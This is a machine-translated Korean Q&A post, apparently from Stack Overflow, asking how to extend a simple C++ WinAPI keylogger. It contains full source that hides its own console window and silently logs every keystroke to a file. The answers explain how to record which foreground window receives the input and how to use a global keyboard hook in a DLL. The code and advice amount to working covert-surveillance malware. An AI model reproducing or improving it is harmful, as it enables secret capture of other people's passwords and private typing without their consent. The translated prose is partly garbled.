2013-03-13 4 views
4

WinAPI를 사용하여 C++에서 간단한 keylogger를 작성하려고합니다. 사용자가 캡처 한 키 스트로크를 입력하는 응용 프로그램을 가져 오는 방법이 있습니까?C++ simple keylogger

#include <iostream> 
#include <windows.h> 
#include <winuser.h> 

using namespace std; 

int main() 
{ 
    HWND Stealth; 
    AllocConsole(); 
    Stealth = FindWindowA("ConsoleWindowClass", NULL); 
    ShowWindow(Stealth,0); 
    char i; 

while (1) 
{ 
    for(i = 8; i <= 190; i++) 
    { 
     if (GetAsyncKeyState(i) == -32767) 
     { 
      FILE *OUTPUT_FILE; 
      OUTPUT_FILE = fopen("LOG.txt", "a+"); 
      int c=static_cast<int>(i); 
      fprintf(OUTPUT_FILE, "%s", &c); 
      fclose (OUTPUT_FILE); 
     } 
    } 
} 
system ("PAUSE"); 
return 0; 
} 
+2

항상 'GetForegroundWindow'가 있습니다. – chris

+4

왜 컴퓨터를 열어 놓고 동일한 파일을 가능한 한 빨리 182 번 연속으로 닫으시겠습니까? –

+1

그건 그렇고, 열쇠가 내려 갔는지 확인하는 올바른 방법은'GetAsyncKeyState (i) & 0x8000'입니다. – chris

답변

0

"사용자가 캡처 한 키 스트로크를 어떤 응용 프로그램에 입력 할 수 있습니까?" HWND WINAPI GetForegroundWindow (void)를 사용한다고 말하고 싶습니다. 예를 들어

: cWindow에서

char cWindow[MAX_PATH]; 
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow)); 

당신은 사용자가 입력되는 창 제목을 얻는다.

3

당신이 원하는 것은 글로벌 후크 호출 스레드와 같은 데스크톱에있는 모든 스레드에 대한 메시지를 모니터링하는 global keyboard hook

입니다 : 그리고 여기에 지금까지 내 코드입니다. 스레드 별 훅은 개별 스레드 인 에 대해서만 메시지를 모니터합니다. 전역 훅 프로 시저는 호출 스레드와 동일한 데스크탑에있는 모든 응용 프로그램의 컨텍스트에서 호출 할 수 있으므로 프로 시저가 별도의 DLL 모듈에 있어야합니다. 스레드 관련 후크 프로시 저는 연결된 스레드의 컨텍스트에서만 호출됩니다. 응용 프로그램에서 자체 스레드 중 하나에 대한 후크 프로 시저를 설치하는 경우 후크 프로 시저는 응용 프로그램의 코드 나머지 부분 인 과 동일한 모듈에 있거나 DLL에있을 수 있습니다. 응용 프로그램 이 다른 응용 프로그램의 스레드에 대한 후크 프로 시저를 설치하는 경우 프로 시저가 DLL에 있어야합니다. 자세한 내용은 Dynamic-Link 라이브러리를 참조하십시오.